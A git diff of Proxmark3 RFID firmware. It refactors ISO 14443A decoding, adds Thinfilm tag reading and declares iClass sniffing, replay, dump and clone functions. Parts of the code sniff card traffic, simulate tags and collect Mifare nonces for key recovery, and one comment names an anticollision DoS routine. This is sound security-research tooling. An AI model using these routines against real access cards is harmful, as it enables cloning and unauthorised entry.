set_tracing(true);
I2C_Reset_EnterMainProgram();
bool isOK = GetATR(&card);
reply_old(CMD_ACK, isOK, sizeof(smart_card_atr_t), 0, &card, sizeof(smart_card_atr_t));
reply_mix(CMD_ACK, isOK, sizeof(smart_card_atr_t), 0, &card, sizeof(smart_card_atr_t));
set_tracing(false);
LEDsoff();
}
@ -752,7 +760,7 @@ void SmartCardRaw(uint64_t arg0, uint64_t arg1, uint8_t *data) {
}
}
OUT:
reply_old(CMD_ACK, len, 0, 0, resp, len);
reply_mix(CMD_ACK, len, 0, 0, resp, len);
BigBuf_free();
set_tracing(false);
LEDsoff();

View file

@ -1,10 +1,7 @@
#ifndef __I2C_H
#define __I2C_H
#include <stddef.h>
#include "proxmark3.h"
#include "apps.h"
#include "BigBuf.h"
#include "common.h"
#include "mifare.h"
#define I2C_DEVICE_ADDRESS_BOOT 0xB0
@ -18,7 +15,6 @@
#define I2C_DEVICE_CMD_GETVERSION 0x06
#define I2C_DEVICE_CMD_SEND_T0 0x07
void I2C_recovery(void);
void I2C_init(void);
void I2C_Reset(void);
@ -48,4 +44,5 @@ void SmartCardSetBaud(uint64_t arg0);
void SmartCardSetClock(uint64_t arg0);
void I2C_print_status(void);
int I2C_get_version(uint8_t *maj, uint8_t *min);
#endif

File diff suppressed because it is too large Load diff

29
armsrc/iclass.h Normal file
View file

@ -0,0 +1,29 @@
//-----------------------------------------------------------------------------
// Jonathan Westhues, Aug 2005
// Gerhard de Koning Gans, April 2008, May 2011
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//-----------------------------------------------------------------------------
// Definitions internal to the app source.
//-----------------------------------------------------------------------------
#ifndef __ICLASS_H
#define __ICLASS_H
#include "common.h"
void RAMFUNC SniffIClass(void);
void SimulateIClass(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain);
void ReaderIClass(uint8_t arg0);
void ReaderIClass_Replay(uint8_t arg0, uint8_t *mac);
void iClass_Authentication(uint8_t *mac);
void iClass_Authentication_fast(uint64_t arg0, uint64_t arg1, uint8_t *datain);
void iClass_WriteBlock(uint8_t blockno, uint8_t *data);
void iClass_ReadBlk(uint8_t blockno);
bool iClass_ReadBlock(uint8_t blockno, uint8_t *data, uint8_t len);
void iClass_Dump(uint8_t blockno, uint8_t numblks);
void iClass_Clone(uint8_t startblock, uint8_t endblock, uint8_t *data);
void iClass_ReadCheck(uint8_t blockno, uint8_t keytype);
#endif

View file

@ -11,8 +11,25 @@
//-----------------------------------------------------------------------------
#include "iso14443a.h"
#include "string.h"
#include "proxmark3_arm.h"
#include "cmd.h"
#include "appmain.h"
#include "BigBuf.h"
#include "fpgaloader.h"
#include "ticks.h"
#include "dbprint.h"
#include "util.h"
#include "parity.h"
#include "mifareutil.h"
#include "commonutil.h"
#include "crc16.h"
#include "protocols.h"
#define MAX_ISO14A_TIMEOUT 524288
static uint32_t iso14a_timeout;
// if iso14443a not active - transmit/receive dont try to execute
static bool hf_field_active = false;
uint8_t colpos = 0;
int rsamples = 0;
@ -23,7 +40,7 @@ static uint8_t iso14_pcb_blocknum = 0;
//
// ISO14443 timing:
//
// minimum time between the start bits of consecutive transfers from reader to tag: 7000 carrier (13.56Mhz) cycles
// minimum time between the start bits of consecutive transfers from reader to tag: 7000 carrier (13.56MHz) cycles
#define REQUEST_GUARD_TIME (7000/16 + 1)
// minimum time between last modulation of tag and next start bit from reader to tag: 1172 carrier cycles
#define FRAME_DELAY_TIME_PICC_TO_PCD (1172/16 + 1)
@ -91,7 +108,7 @@ static uint32_t LastProxToAirDuration;
// Sequence D: 11110000 modulation with subcarrier during first half
// Sequence E: 00001111 modulation with subcarrier during second half
// Sequence F: 00000000 no modulation with subcarrier
// Sequence COLL: 11111111 load modulation over the full bitlenght.
// Sequence COLL: 11111111 load modulation over the full bitlength.
// Tricks the reader to think that multiple cards answer (at least one card with 1 and at least one card with 0).
// READER TO CARD - miller
// Sequence X: 00001100 drop after half a period
@ -159,7 +176,7 @@ void GetParity(const uint8_t *pbtCmd, uint16_t len, uint8_t *par) {
// Note 1: the bitstream may start at any time. We therefore need to sync.
// Note 2: the interpretation of Sequence Y and Z depends on the preceding sequence.
//-----------------------------------------------------------------------------
static tUart Uart;
static tUart14a Uart;
// Lookup-Table to decide if 4 raw bits are a modulation.
// We accept the following:
@ -174,12 +191,12 @@ const bool Mod_Miller_LUT[] = {
#define IsMillerModulationNibble1(b) (Mod_Miller_LUT[(b & 0x000000F0) >> 4])
#define IsMillerModulationNibble2(b) (Mod_Miller_LUT[(b & 0x0000000F)])
tUart *GetUart() {
tUart14a *GetUart14a() {
return &Uart;
}
void UartReset(void) {
Uart.state = STATE_UNSYNCD;
void Uart14aReset(void) {
Uart.state = STATE_14A_UNSYNCD;
Uart.bitCount = 0;
Uart.len = 0; // number of decoded data bytes
Uart.parityLen = 0; // number of decoded parity bytes
@ -192,17 +209,17 @@ void UartReset(void) {
Uart.syncBit = 9999;
}
void UartInit(uint8_t *data, uint8_t *par) {
void Uart14aInit(uint8_t *data, uint8_t *par) {
Uart.output = data;
Uart.parity = par;
UartReset();
Uart14aReset();
}
// use parameter non_real_time to provide a timestamp. Set to 0 if the decoder should measure real time
RAMFUNC bool MillerDecoding(uint8_t bit, uint32_t non_real_time) {
Uart.fourBits = (Uart.fourBits << 8) | bit;
if (Uart.state == STATE_UNSYNCD) { // not yet synced
if (Uart.state == STATE_14A_UNSYNCD) { // not yet synced
Uart.syncBit = 9999; // not set
// 00x11111 2|3 ticks pause followed by 6|5 ticks unmodulated Sequence Z (a "0" or "start of communication")
@ -228,20 +245,20 @@ RAMFUNC bool MillerDecoding(uint8_t bit, uint32_t non_real_time) {
Uart.startTime = non_real_time ? non_real_time : (GetCountSspClk() & 0xfffffff8);
Uart.startTime -= Uart.syncBit;
Uart.endTime = Uart.startTime;
Uart.state = STATE_START_OF_COMMUNICATION;
Uart.state = STATE_14A_START_OF_COMMUNICATION;
}
} else {
if (IsMillerModulationNibble1(Uart.fourBits >> Uart.syncBit)) {
if (IsMillerModulationNibble2(Uart.fourBits >> Uart.syncBit)) { // Modulation in both halves - error
UartReset();
Uart14aReset();
} else { // Modulation in first half = Sequence Z = logic "0"
if (Uart.state == STATE_MILLER_X) { // error - must not follow after X
UartReset();
if (Uart.state == STATE_14A_MILLER_X) { // error - must not follow after X
Uart14aReset();
} else {
Uart.bitCount++;
Uart.shiftReg = (Uart.shiftReg >> 1); // add a 0 to the shiftreg
Uart.state = STATE_MILLER_Z;
Uart.state = STATE_14A_MILLER_Z;
Uart.endTime = Uart.startTime + 8 * (9 * Uart.len + Uart.bitCount + 1) - 6;
if (Uart.bitCount >= 9) { // if we decoded a full byte (including parity)
Uart.output[Uart.len++] = (Uart.shiftReg & 0xff);
@ -260,7 +277,7 @@ RAMFUNC bool MillerDecoding(uint8_t bit, uint32_t non_real_time) {
if (IsMillerModulationNibble2(Uart.fourBits >> Uart.syncBit)) { // Modulation second half = Sequence X = logic "1"
Uart.bitCount++;
Uart.shiftReg = (Uart.shiftReg >> 1) | 0x100; // add a 1 to the shiftreg
Uart.state = STATE_MILLER_X;
Uart.state = STATE_14A_MILLER_X;
Uart.endTime = Uart.startTime + 8 * (9 * Uart.len + Uart.bitCount + 1) - 2;
if (Uart.bitCount >= 9) { // if we decoded a full byte (including parity)
Uart.output[Uart.len++] = (Uart.shiftReg & 0xff);
@ -274,8 +291,8 @@ RAMFUNC bool MillerDecoding(uint8_t bit, uint32_t non_real_time) {
}
}
} else { // no modulation in both halves - Sequence Y
if (Uart.state == STATE_MILLER_Z || Uart.state == STATE_MILLER_Y) { // Y after logic "0" - End of Communication
Uart.state = STATE_UNSYNCD;
if (Uart.state == STATE_14A_MILLER_Z || Uart.state == STATE_14A_MILLER_Y) { // Y after logic "0" - End of Communication
Uart.state = STATE_14A_UNSYNCD;
Uart.bitCount--; // last "0" was part of EOC sequence
Uart.shiftReg <<= 1; // drop it
if (Uart.bitCount > 0) { // if we decoded some bits
@ -292,15 +309,15 @@ RAMFUNC bool MillerDecoding(uint8_t bit, uint32_t non_real_time) {
if (Uart.len) {
return true; // we are finished with decoding the raw data sequence
} else {
UartReset(); // Nothing received - start over
Uart14aReset(); // Nothing received - start over
}
}
if (Uart.state == STATE_START_OF_COMMUNICATION) { // error - must not follow directly after SOC
UartReset();
if (Uart.state == STATE_14A_START_OF_COMMUNICATION) { // error - must not follow directly after SOC
Uart14aReset();
} else { // a logic "0"
Uart.bitCount++;
Uart.shiftReg = (Uart.shiftReg >> 1); // add a 0 to the shiftreg
Uart.state = STATE_MILLER_Y;
Uart.state = STATE_14A_MILLER_Y;
if (Uart.bitCount >= 9) { // if we decoded a full byte (including parity)
Uart.output[Uart.len++] = (Uart.shiftReg & 0xff);
Uart.parityBits <<= 1; // make room for the parity bit
@ -334,7 +351,7 @@ RAMFUNC bool MillerDecoding(uint8_t bit, uint32_t non_real_time) {
// 8 ticks modulated: A collision. Save the collision position and treat as Sequence D
// Note 1: the bitstream may start at any time. We therefore need to sync.
// Note 2: parameter offset is used to determine the position of the parity bits (required for the anticollision command only)
tDemod Demod;
tDemod14a Demod;
// Lookup-Table to decide if 4 raw bits are a modulation.
// We accept three or four "1" in any position
@ -346,11 +363,11 @@ const bool Mod_Manchester_LUT[] = {
#define IsManchesterModulationNibble1(b) (Mod_Manchester_LUT[(b & 0x00F0) >> 4])
#define IsManchesterModulationNibble2(b) (Mod_Manchester_LUT[(b & 0x000F)])
tDemod *GetDemod() {
tDemod14a *GetDemod14a() {
return &Demod;
}
void DemodReset(void) {
Demod.state = DEMOD_UNSYNCD;
void Demod14aReset(void) {
Demod.state = DEMOD_14A_UNSYNCD;
Demod.len = 0; // number of decoded data bytes
Demod.parityLen = 0;
Demod.shiftReg = 0; // shiftreg to hold decoded data bits
@ -365,17 +382,17 @@ void DemodReset(void) {
Demod.samples = 0;
}
void DemodInit(uint8_t *data, uint8_t *par) {
void Demod14aInit(uint8_t *data, uint8_t *par) {
Demod.output = data;
Demod.parity = par;
DemodReset();
Demod14aReset();
}
// use parameter non_real_time to provide a timestamp. Set to 0 if the decoder should measure real time
RAMFUNC int ManchesterDecoding(uint8_t bit, uint16_t offset, uint32_t non_real_time) {
Demod.twoBits = (Demod.twoBits << 8) | bit;
if (Demod.state == DEMOD_UNSYNCD) {
if (Demod.state == DEMOD_14A_UNSYNCD) {
if (Demod.highCnt < 2) { // wait for a stable unmodulated signal
if (Demod.twoBits == 0x0000) {
@ -397,7 +414,7 @@ RAMFUNC int ManchesterDecoding(uint8_t bit, uint16_t offset, uint32_t non_real_t
Demod.startTime = non_real_time ? non_real_time : (GetCountSspClk() & 0xfffffff8);
Demod.startTime -= Demod.syncBit;
Demod.bitCount = offset; // number of decoded data bits
Demod.state = DEMOD_MANCHESTER_DATA;
Demod.state = DEMOD_14A_MANCHESTER_DATA;
}
}
} else {
@ -453,7 +470,81 @@ RAMFUNC int ManchesterDecoding(uint8_t bit, uint16_t offset, uint32_t non_real_t
if (Demod.len) {
return true; // we are finished with decoding the raw data sequence
} else { // nothing received. Start over
DemodReset();
Demod14aReset();
}
}
}
}
return false; // not finished yet, need more data
}
// Thinfilm, Kovio mangels ISO14443A in the way that they don't use start bit nor parity bits.
RAMFUNC int ManchesterDecoding_Thinfilm(uint8_t bit) {
Demod.twoBits = (Demod.twoBits << 8) | bit;
if (Demod.state == DEMOD_14A_UNSYNCD) {
if (Demod.highCnt < 2) { // wait for a stable unmodulated signal
if (Demod.twoBits == 0x0000) {
Demod.highCnt++;
} else {
Demod.highCnt = 0;
}
} else {
Demod.syncBit = 0xFFFF; // not set
if ((Demod.twoBits & 0x7700) == 0x7000) Demod.syncBit = 7;
else if ((Demod.twoBits & 0x3B80) == 0x3800) Demod.syncBit = 6;
else if ((Demod.twoBits & 0x1DC0) == 0x1C00) Demod.syncBit = 5;
else if ((Demod.twoBits & 0x0EE0) == 0x0E00) Demod.syncBit = 4;
else if ((Demod.twoBits & 0x0770) == 0x0700) Demod.syncBit = 3;
else if ((Demod.twoBits & 0x03B8) == 0x0380) Demod.syncBit = 2;
else if ((Demod.twoBits & 0x01DC) == 0x01C0) Demod.syncBit = 1;
else if ((Demod.twoBits & 0x00EE) == 0x00E0) Demod.syncBit = 0;
if (Demod.syncBit != 0xFFFF) {
Demod.startTime = (GetCountSspClk() & 0xfffffff8);
Demod.startTime -= Demod.syncBit;
Demod.bitCount = 1; // number of decoded data bits
Demod.shiftReg = 1;
Demod.state = DEMOD_14A_MANCHESTER_DATA;
}
}
} else {
if (IsManchesterModulationNibble1(Demod.twoBits >> Demod.syncBit)) { // modulation in first half
if (IsManchesterModulationNibble2(Demod.twoBits >> Demod.syncBit)) { // ... and in second half = collision
if (!Demod.collisionPos) {
Demod.collisionPos = (Demod.len << 3) + Demod.bitCount;
}
} // modulation in first half only - Sequence D = 1
Demod.bitCount++;
Demod.shiftReg = (Demod.shiftReg << 1) | 0x1; // in both cases, add a 1 to the shiftreg
if (Demod.bitCount == 8) { // if we decoded a full byte
Demod.output[Demod.len++] = (Demod.shiftReg & 0xff);
Demod.bitCount = 0;
Demod.shiftReg = 0;
}
Demod.endTime = Demod.startTime + 8 * (8 * Demod.len + Demod.bitCount + 1) - 4;
} else { // no modulation in first half
if (IsManchesterModulationNibble2(Demod.twoBits >> Demod.syncBit)) { // and modulation in second half = Sequence E = 0
Demod.bitCount++;
Demod.shiftReg = (Demod.shiftReg << 1); // add a 0 to the shiftreg
if (Demod.bitCount >= 8) { // if we decoded a full byte
Demod.output[Demod.len++] = (Demod.shiftReg & 0xff);
Demod.bitCount = 0;
Demod.shiftReg = 0;
}
Demod.endTime = Demod.startTime + 8 * (8 * Demod.len + Demod.bitCount + 1);
} else { // no modulation in both halves - End of communication
if (Demod.bitCount > 0) { // there are some remaining data bits
Demod.shiftReg <<= (8 - Demod.bitCount); // left align the decoded bits
Demod.output[Demod.len++] = Demod.shiftReg & 0xff; // and add them to the output
return true;
}
if (Demod.len) {
return true; // we are finished with decoding the raw data sequence
} else { // nothing received. Start over
Demod14aReset();
}
}
}
@ -504,10 +595,10 @@ void RAMFUNC SniffIso14443a(uint8_t param) {
bool ReaderIsActive = false;
// Set up the demodulator for tag -> reader responses.
DemodInit(receivedResp, receivedRespPar);
Demod14aInit(receivedResp, receivedRespPar);
// Set up the demodulator for the reader -> tag commands
UartInit(receivedCmd, receivedCmdPar);
Uart14aInit(receivedCmd, receivedCmdPar);
DbpString("Starting to sniff");
@ -581,13 +672,13 @@ void RAMFUNC SniffIso14443a(uint8_t param) {
true)) break;
}
/* ready to receive another command. */
UartReset();
Uart14aReset();
/* reset the demod code, which might have been */
/* false-triggered by the commands from the reader. */
DemodReset();
Demod14aReset();
LED_B_OFF();
}
ReaderIsActive = (Uart.state != STATE_UNSYNCD);
ReaderIsActive = (Uart.state != STATE_14A_UNSYNCD);
}
// no need to try decoding tag data if the reader is sending - and we cannot afford the time
@ -606,13 +697,13 @@ void RAMFUNC SniffIso14443a(uint8_t param) {
if ((!triggered) && (param & 0x01)) triggered = true;
// ready to receive another response.
DemodReset();
Demod14aReset();
// reset the Miller decoder including its (now outdated) input buffer
UartReset();
//UartInit(receivedCmd, receivedCmdPar);
Uart14aReset();
//Uart14aInit(receivedCmd, receivedCmdPar);
LED_C_OFF();
}
TagIsActive = (Demod.state != DEMOD_UNSYNCD);
TagIsActive = (Demod.state != DEMOD_14A_UNSYNCD);
}
}
@ -624,6 +715,8 @@ void RAMFUNC SniffIso14443a(uint8_t param) {
}
} // end main loop
FpgaDisableTracing();
if (DBGLEVEL >= DBG_ERROR) {
Dbprintf("maxDataLen=%d, Uart.state=%x, Uart.len=%d", maxDataLen, Uart.state, Uart.len);
Dbprintf("traceLen=" _YELLOW_("%d")", Uart.output[0]="_YELLOW_("%08x"), BigBuf_get_traceLen(), (uint32_t)Uart.output[0]);
@ -741,7 +834,7 @@ static void Code4bitAnswerAsTag(uint8_t cmd) {
//-----------------------------------------------------------------------------
// Wait for commands from reader
// stop when button is pressed
// stop when button is pressed or client usb connection resets
// or return TRUE when command is captured
//-----------------------------------------------------------------------------
static bool GetIso14443aCommandFromReader(uint8_t *received, uint8_t *par, int *len) {
@ -752,7 +845,7 @@ static bool GetIso14443aCommandFromReader(uint8_t *received, uint8_t *par, int *
FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_TAGSIM_LISTEN);
// Now run a `software UART` on the stream of incoming samples.
UartInit(received, par);
Uart14aInit(received, par);
// clear RXRDY:
uint8_t b = (uint8_t)AT91C_BASE_SSC->SSC_RHR;
@ -912,7 +1005,7 @@ static bool SimulateIso14443aInit(int tagType, int flags, uint8_t *data, tag_res
}
break;
default: {
if (DBGLEVEL >= DBG_ERROR) Dbprintf("Error: unkown tagtype (%d)", tagType);
if (DBGLEVEL >= DBG_ERROR) Dbprintf("Error: unknown tagtype (%d)", tagType);
return false;
}
break;
@ -1071,7 +1164,7 @@ void SimulateIso14443aTag(uint8_t tagType, uint8_t flags, uint8_t *data) {
if (SimulateIso14443aInit(tagType, flags, data, &responses, &cuid, counters, tearings, &pages) == false) {
BigBuf_free_keep_EM();
reply_ng(CMD_SIMULATE_MIFARE_CARD, PM3_EINIT, NULL, 0);
reply_ng(CMD_HF_MIFARE_SIMULATE, PM3_EINIT, NULL, 0);
return;
}
@ -1092,7 +1185,7 @@ void SimulateIso14443aTag(uint8_t tagType, uint8_t flags, uint8_t *data) {
#define ORDER_SELECT_CL2 30
#define ORDER_EV1_COMP_WRITE 40
#define ORDER_RATS 70
int order = ORDER_NONE;
uint8_t order = ORDER_NONE;
int retval = PM3_SUCCESS;
@ -1191,7 +1284,7 @@ void SimulateIso14443aTag(uint8_t tagType, uint8_t flags, uint8_t *data) {
ar_nr_nonces[index].state = SECOND;
// send to client (one struct nonces_t)
reply_ng(CMD_SIMULATE_MIFARE_CARD, PM3_SUCCESS, (uint8_t *)&ar_nr_nonces[index], sizeof(nonces_t));
reply_ng(CMD_HF_MIFARE_SIMULATE, PM3_SUCCESS, (uint8_t *)&ar_nr_nonces[index], sizeof(nonces_t));
ar_nr_nonces[index].state = EMPTY;
ar_nr_nonces[index].sector = 0;
@ -1515,7 +1608,7 @@ void SimulateIso14443aTag(uint8_t tagType, uint8_t flags, uint8_t *data) {
Dbprintf("-[ Num of moebius tries [%d]", moebius_count);
}
reply_ng(CMD_SIMULATE_MIFARE_CARD, retval, NULL, 0);
reply_ng(CMD_HF_MIFARE_SIMULATE, retval, NULL, 0);
}
// prepare a delayed transfer. This simply shifts ToSend[] by a number
@ -1551,6 +1644,9 @@ void PrepareDelayedTransfer(uint16_t delay) {
//-------------------------------------------------------------------------------------
static void TransmitFor14443a(const uint8_t *cmd, uint16_t len, uint32_t *timing) {
if (!hf_field_active)
return;
FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD);
if (timing) {
@ -1573,19 +1669,11 @@ static void TransmitFor14443a(const uint8_t *cmd, uint16_t len, uint32_t *timing
LastTimeProxToAirStart = ThisTransferTime;
}
// clear TXRDY
AT91C_BASE_SSC->SSC_THR = SEC_Y;
volatile uint8_t b;
uint16_t c = 0;
while (c < len) {
if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) {
AT91C_BASE_SSC->SSC_THR = cmd[c++];
}
//iceman test
if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) {
b = (uint16_t)(AT91C_BASE_SSC->SSC_RHR);
(void)b;
AT91C_BASE_SSC->SSC_THR = cmd[c];
c++;
}
}
@ -1699,12 +1787,18 @@ int EmGetCmd(uint8_t *received, uint16_t *len, uint8_t *par) {
ADC_MODE_PRESCALE(63) |
ADC_MODE_STARTUP_TIME(1) |
ADC_MODE_SAMPLE_HOLD_TIME(15);
#if defined RDV4
AT91C_BASE_ADC->ADC_CHER = ADC_CHANNEL(ADC_CHAN_HF_RDV40);
#else
AT91C_BASE_ADC->ADC_CHER = ADC_CHANNEL(ADC_CHAN_HF);
#endif
// start ADC
AT91C_BASE_ADC->ADC_CR = AT91C_ADC_START;
// Now run a 'software UART' on the stream of incoming samples.
UartInit(received, par);
Uart14aInit(received, par);
// Clear RXRDY:
uint8_t b = (uint8_t)AT91C_BASE_SSC->SSC_RHR;
@ -1723,12 +1817,19 @@ int EmGetCmd(uint8_t *received, uint16_t *len, uint8_t *par) {
++check;
// test if the field exists
if (AT91C_BASE_ADC->ADC_SR & ADC_END_OF_CONVERSION(ADC_CHAN_HF)) {
#if defined RDV4
if (AT91C_BASE_ADC->ADC_SR & ADC_END_OF_CONVERSION(ADC_CHAN_HF_RDV40)) {
analogCnt++;
analogAVG += AT91C_BASE_ADC->ADC_CDR[ADC_CHAN_HF];
analogAVG += AT91C_BASE_ADC->ADC_CDR[ADC_CHAN_HF_RDV40];
AT91C_BASE_ADC->ADC_CR = AT91C_ADC_START;
if (analogCnt >= 32) {
if ((MAX_ADC_HF_VOLTAGE_RDV40 * (analogAVG / analogCnt) >> 10) < MF_MINFIELDV) {
if (timer == 0) {
timer = GetTickCount();
} else {
@ -1744,6 +1845,35 @@ int EmGetCmd(uint8_t *received, uint16_t *len, uint8_t *par) {
analogAVG = 0;
}
}
#else
if (AT91C_BASE_ADC->ADC_SR & ADC_END_OF_CONVERSION(ADC_CHAN_HF)) {
analogCnt++;
analogAVG += AT91C_BASE_ADC->ADC_CDR[ADC_CHAN_HF];
AT91C_BASE_ADC->ADC_CR = AT91C_ADC_START;
if (analogCnt >= 32) {
if ((MAX_ADC_HF_VOLTAGE * (analogAVG / analogCnt) >> 10) < MF_MINFIELDV) {
if (timer == 0) {
timer = GetTickCount();
} else {
// 50ms no field --> card to idle state
if (GetTickCountDelta(timer) > 50) {
return 2;
}
}
} else {
timer = 0;
}
analogCnt = 0;
analogAVG = 0;
}
}
#endif
// receive and test the miller decoding
if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) {
@ -1916,12 +2046,15 @@ bool EmLogTrace(uint8_t *reader_data, uint16_t reader_len, uint32_t reader_Start
}
//-----------------------------------------------------------------------------
// Kovio - Thinfilm barcode. TAG-TALK-FIRST -
// Wait a certain time for tag response
// If a response is captured return TRUE
// If it takes too long return FALSE
//-----------------------------------------------------------------------------
static int GetIso14443aAnswerFromTag(uint8_t *receivedResponse, uint8_t *receivedResponsePar, uint16_t offset) {
uint32_t c = 0;
bool GetIso14443aAnswerFromTag_Thinfilm(uint8_t *receivedResponse, uint8_t *received_len) {
if (!hf_field_active)
return false;
// Set FPGA mode to "reader listen mode", no modulation (listen
// only, since we are receiving, not transmitting).
@ -1930,13 +2063,62 @@ static int GetIso14443aAnswerFromTag(uint8_t *receivedResponse, uint8_t *receive
FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_LISTEN);
// Now get the answer from the card
DemodInit(receivedResponse, receivedResponsePar);
Demod14aInit(receivedResponse, NULL);
// clear RXRDY:
uint8_t b = (uint8_t)AT91C_BASE_SSC->SSC_RHR;
(void)b;
uint32_t receive_timer = GetTickCount();
for (;;) {
WDT_HIT();
if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) {
b = (uint8_t)AT91C_BASE_SSC->SSC_RHR;
if (ManchesterDecoding_Thinfilm(b)) {
*received_len = Demod.len;
// log
LogTrace(receivedResponse, Demod.len, Demod.startTime * 16 - DELAY_AIR2ARM_AS_READER, Demod.endTime * 16 - DELAY_AIR2ARM_AS_READER, NULL, false);
return true;
}
}
if (GetTickCountDelta(receive_timer) > 100)
break;
}
*received_len = Demod.len;
// log
LogTrace(receivedResponse, Demod.len, Demod.startTime * 16 - DELAY_AIR2ARM_AS_READER, Demod.endTime * 16 - DELAY_AIR2ARM_AS_READER, NULL, false);
return false;
}
//-----------------------------------------------------------------------------
// Wait a certain time for tag response
// If a response is captured return TRUE
// If it takes too long return FALSE
//-----------------------------------------------------------------------------
static int GetIso14443aAnswerFromTag(uint8_t *receivedResponse, uint8_t *receivedResponsePar, uint16_t offset) {
uint32_t c = 0;
if (!hf_field_active)
return false;
// Set FPGA mode to "reader listen mode", no modulation (listen
// only, since we are receiving, not transmitting).
// Signal field is on with the appropriate LED
LED_D_ON();
FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_LISTEN);
// Now get the answer from the card
Demod14aInit(receivedResponse, receivedResponsePar);
// clear RXRDY:
uint8_t b = (uint8_t)AT91C_BASE_SSC->SSC_RHR;
(void)b;
uint32_t timeout = iso14a_get_timeout();
uint32_t receive_timer = GetTickCount();
for (;;) {
WDT_HIT();
@ -1945,11 +2127,16 @@ static int GetIso14443aAnswerFromTag(uint8_t *receivedResponse, uint8_t *receive
if (ManchesterDecoding(b, offset, 0)) {
NextTransferTime = MAX(NextTransferTime, Demod.endTime - (DELAY_AIR2ARM_AS_READER + DELAY_ARM2AIR_AS_READER) / 16 + FRAME_DELAY_TIME_PICC_TO_PCD);
return true;
} else if (c++ > timeout && Demod.state == DEMOD_UNSYNCD) {
} else if (c++ > timeout && Demod.state == DEMOD_14A_UNSYNCD) {
return false;
}
}
// timeout already in ms + 100ms guard time
if (GetTickCountDelta(receive_timer) > timeout + 100)
break;
}
return false;
}
void ReaderTransmitBitsPar(uint8_t *frame, uint16_t bits, uint8_t *par, uint32_t *timing) {
@ -1994,6 +2181,7 @@ int ReaderReceive(uint8_t *receivedAnswer, uint8_t *par) {
return Demod.len;
}
// This function misstreats the ISO 14443a anticollision procedure.
// by fooling the reader there is a collision and forceing the reader to
// increase the uid bytes. The might be an overflow, DoS will occure.
@ -2339,8 +2527,7 @@ void iso14443a_setup(uint8_t fpga_minor_mode) {
LED_D_OFF();
// Signal field is on with the appropriate LED
if (fpga_minor_mode == FPGA_HF_ISO14443A_READER_MOD ||
fpga_minor_mode == FPGA_HF_ISO14443A_READER_LISTEN)
if (fpga_minor_mode == FPGA_HF_ISO14443A_READER_MOD || fpga_minor_mode == FPGA_HF_ISO14443A_READER_LISTEN)
LED_D_ON();
FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | fpga_minor_mode);
@ -2350,10 +2537,19 @@ void iso14443a_setup(uint8_t fpga_minor_mode) {
StartCountSspClk();
// Prepare the demodulation functions
DemodReset();
UartReset();
Demod14aReset();
Uart14aReset();
NextTransferTime = 2 * DELAY_ARM2AIR_AS_READER;
iso14a_set_timeout(1060); // 106 * 10ms default
hf_field_active = true;
}
void hf_field_off(void) {
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
LEDsoff();
hf_field_active = false;
}
/* Peter Fillmore 2015
@ -2492,6 +2688,8 @@ void ReaderIso14443a(PacketCommandNG *c) {
if (!(param & ISO14A_NO_SELECT)) {
iso14a_card_select_t *card = (iso14a_card_select_t *)buf;
arg0 = iso14443a_select_card(NULL, card, NULL, true, 0, param & ISO14A_NO_RATS);
FpgaDisableTracing();
reply_mix(CMD_ACK, arg0, card->uidlen, 0, buf, sizeof(iso14a_card_select_t));
if (arg0 == 0)
goto OUT;
@ -2504,6 +2702,8 @@ void ReaderIso14443a(PacketCommandNG *c) {
if ((param & ISO14A_APDU)) {
uint8_t res;
arg0 = iso14_apdu(cmd, len, (param & ISO14A_SEND_CHAINING), buf, &res);
FpgaDisableTracing();
reply_old(CMD_ACK, arg0, res, 0, buf, sizeof(buf));
}
@ -2548,6 +2748,8 @@ void ReaderIso14443a(PacketCommandNG *c) {
}
}
arg0 = ReaderReceive(buf, par);
FpgaDisableTracing();
reply_old(CMD_ACK, arg0, 0, 0, buf, sizeof(buf));
}
@ -2558,9 +2760,8 @@ void ReaderIso14443a(PacketCommandNG *c) {
return;
OUT:
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
hf_field_off();
set_tracing(false);
LEDsoff();
}
// Determine the distance between two nonces.
@ -2635,6 +2836,8 @@ void ReaderMifare(bool first_try, uint8_t block, uint8_t keytype) {
static uint8_t par_low = 0;
static uint8_t mf_nr_ar3 = 0;
int return_status = PM3_SUCCESS;
AddCrc14A(mf_auth, 2);
if (first_try) {
@ -2651,6 +2854,7 @@ void ReaderMifare(bool first_try, uint8_t block, uint8_t keytype) {
}
LED_C_ON();
uint16_t checkbtn_cnt = 0;
uint16_t i;
for (i = 0; true; ++i) {
@ -2659,16 +2863,21 @@ void ReaderMifare(bool first_try, uint8_t block, uint8_t keytype) {
WDT_HIT();
// Test if the action was cancelled
if (BUTTON_PRESS()) {
if (checkbtn_cnt == 1000) {
if (BUTTON_PRESS() || data_available()) {
isOK = -1;
return_status = PM3_EOPABORTED;
break;
}
checkbtn_cnt = 0;
}
++checkbtn_cnt;
// this part is from Piwi's faster nonce collecting part in Hardnested.
if (!have_uid) { // need a full select cycle to get the uid first
iso14a_card_select_t card_info;
if (!iso14443a_select_card(uid, &card_info, &cuid, true, 0, true)) {
if (DBGLEVEL >= DBG_ERROR) Dbprintf("Mifare: Can't select card (ALL)");
if (DBGLEVEL >= DBG_INFO) Dbprintf("Mifare: Can't select card (ALL)");
continue;
}
switch (card_info.uidlen) {
@ -2687,7 +2896,7 @@ void ReaderMifare(bool first_try, uint8_t block, uint8_t keytype) {
have_uid = true;
} else { // no need for anticollision. We can directly select the card
if (!iso14443a_fast_select_card(uid, cascade_levels)) {
if (DBGLEVEL >= DBG_ERROR) Dbprintf("Mifare: Can't select card (UID)");
if (DBGLEVEL >= DBG_INFO) Dbprintf("Mifare: Can't select card (UID)");
continue;
}
}
